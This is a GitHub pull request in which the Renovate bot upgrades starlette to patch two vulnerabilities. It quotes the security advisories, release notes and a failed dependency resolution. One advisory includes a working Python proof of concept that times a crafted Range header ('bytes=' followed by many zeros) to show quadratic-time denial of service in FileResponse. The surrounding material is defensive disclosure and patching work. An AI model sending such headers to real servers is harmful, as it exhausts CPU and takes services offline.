Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Nov 20, 2025

This PR contains the following updates:

Package Change Age Confidence
starlette (changelog) ^0.47.2^0.49.0 age confidence
starlette (changelog) ==0.41.3==0.49.1 age confidence

GitHub Vulnerability Alerts

CVE-2025-62727

Summary

An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).

Details

Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.

# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response):
    @​staticmethod
    def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
        ranges: list[tuple[int, int]] = []
        try:
            units, range_ = http_range.split("=", 1)
        except ValueError:
            raise MalformedRangeHeader()

        # [...]

        ranges = [
            (
                int(_[0]) if _[0] else file_size - int(_[1]),
                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
            )
            for _ in _RANGE_PATTERN.findall(range_) # vulnerable
            if _ != ("", "")
        ]

The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.

The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.

This affects any Starlette application that uses:

  • starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
  • Direct starlette.responses.FileResponse responses

PoC

#!/usr/bin/env python3

import sys
import time

try:
    import starlette
    from starlette.responses import FileResponse
except Exception as e:
    print(f"[ERROR] Failed to import starlette: {e}")
    sys.exit(1)

def build_payload(length: int) -> str:
    """Build the Range header value body: '0' * num_zeros + '0-'"""
    return ("0" * length) + "a-"

def test(header: str, file_size: int) -> float:
    start = time.perf_counter()
    try:
        FileResponse._parse_range_header(header, file_size)
    except Exception:
        pass
    end = time.perf_counter()
    elapsed = end - start
    return elapsed

def run_once(num_zeros: int) -> None:
    range_body = build_payload(num_zeros)
    header = "bytes=" + range_body
    # Use a sufficiently large file_size so upper bounds default to file size
    file_size = max(len(range_body) + 10, 1_000_000)
    
    print(f"[DEBUG] range_body length: {len(range_body)} bytes")
    elapsed_time = test(header, file_size)
    print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")

if __name__ == "__main__":
    print(f"[INFO] Starlette Version: {starlette.__version__}")
    for n in [5000, 10000, 20000, 40000]:
        run_once(n)

"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""

Impact

Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

CVE-2025-54121

Summary

When parsing a multi-part form with large files (greater than the default max spool size) starlette will block the main thread to roll the file over to disk. This blocks the event thread which means we can't accept new connections.

Details

Please see this discussion for details: https://github.com/encode/starlette/discussions/2927#discussioncomment-13721403. In summary the following UploadFile code (copied from here) has a minor bug. Instead of just checking for self._in_memory we should also check if the additional bytes will cause a rollover.

    @&#8203;property
    def _in_memory(self) -> bool:
        # check for SpooledTemporaryFile._rolled
        rolled_to_disk = getattr(self.file, "_rolled", True)
        return not rolled_to_disk

    async def write(self, data: bytes) -> None:
        if self.size is not None:
            self.size += len(data)

        if self._in_memory:
            self.file.write(data)
        else:
            await run_in_threadpool(self.file.write, data)

I have already created a PR which fixes the problem: https://github.com/encode/starlette/pull/2962

PoC

See the discussion here for steps on how to reproduce.

Impact

To be honest, very low and not many users will be impacted. Parsing large forms is already CPU intensive so the additional IO block doesn't slow down starlette that much on systems with modern HDDs/SSDs. If someone is running on tape they might see a greater impact.


Release Notes

Kludex/starlette (starlette)

v0.49.1: Version 0.49.1

Compare Source

This release fixes a security vulnerability in the parsing logic of the Range header in FileResponse.

You can view the full security advisory: GHSA-7f5h-v6xp-fcq8

Fixed


Full Changelog: Kludex/starlette@0.49.0...0.49.1

v0.49.0: Version 0.49.0

Compare Source

Added

  • Add encoding parameter to Config class #​2996.
  • Support multiple cookie headers in Request.cookies #​3029.
  • Use Literal type for WebSocketEndpoint encoding values #​3027.

Changed

  • Do not pollute exception context in Middleware when using BaseHTTPMiddleware #​2976.

New Contributors

Full Changelog: Kludex/starlette@0.48.0...0.49.0

v0.48.0: Version 0.48.0

Compare Source

Added

  • Add official Python 3.14 support #​3013.

Changed


New Contributors

Full Changelog: Kludex/starlette@0.47.3...0.48.0

v0.47.3: Version 0.47.3

Compare Source

Fixed


New Contributors

Full Changelog: Kludex/starlette@0.47.2...0.47.3


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
Copy link
Contributor Author

renovate bot commented Nov 20, 2025

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: iris/poetry.lock
Updating dependencies
Resolving dependencies...


Because iris depends on fastapi (0.116.1) which depends on starlette (>=0.40.0,<0.48.0), starlette is required.
So, because iris depends on starlette (^0.49.0), version solving failed.

@renovate renovate bot requested review from a team as code owners November 20, 2025 10:15
@coderabbitai
Copy link
Contributor

coderabbitai bot commented Nov 20, 2025

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

  • 🔍 Trigger a full review

Comment @coderabbitai help to get the list of available commands and usage tips.

@renovate renovate bot force-pushed the renovate/pypi-starlette-vulnerability branch 8 times, most recently from 4c4dc05 to c59bc3b Compare November 26, 2025 17:48
@renovate renovate bot force-pushed the renovate/pypi-starlette-vulnerability branch 4 times, most recently from 2a68aff to 8fe7529 Compare December 2, 2025 09:58
@renovate renovate bot force-pushed the renovate/pypi-starlette-vulnerability branch 3 times, most recently from c48eef3 to 3d8811c Compare December 12, 2025 16:22
@renovate renovate bot force-pushed the renovate/pypi-starlette-vulnerability branch 4 times, most recently from 29deefc to 0e1d020 Compare December 19, 2025 22:57
@github-actions
Copy link

There hasn't been any activity on this pull request recently. Therefore, this pull request has been automatically marked as stale and will be closed if no further activity occurs within seven days. Thank you for your contributions.

@github-actions github-actions bot added the stale label Dec 27, 2025
@github-actions github-actions bot removed the stale label Jan 1, 2026
@renovate renovate bot force-pushed the renovate/pypi-starlette-vulnerability branch 4 times, most recently from 70bfebe to b35d0fc Compare January 15, 2026 08:56
@renovate renovate bot force-pushed the renovate/pypi-starlette-vulnerability branch 5 times, most recently from a39abc8 to e3f059f Compare January 23, 2026 11:33
@renovate renovate bot force-pushed the renovate/pypi-starlette-vulnerability branch 10 times, most recently from 825033c to f5056cc Compare February 2, 2026 17:32
@renovate renovate bot force-pushed the renovate/pypi-starlette-vulnerability branch 3 times, most recently from c2ed433 to 071fdfa Compare February 10, 2026 00:29
@renovate renovate bot force-pushed the renovate/pypi-starlette-vulnerability branch from 071fdfa to 039af89 Compare February 10, 2026 12:20
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants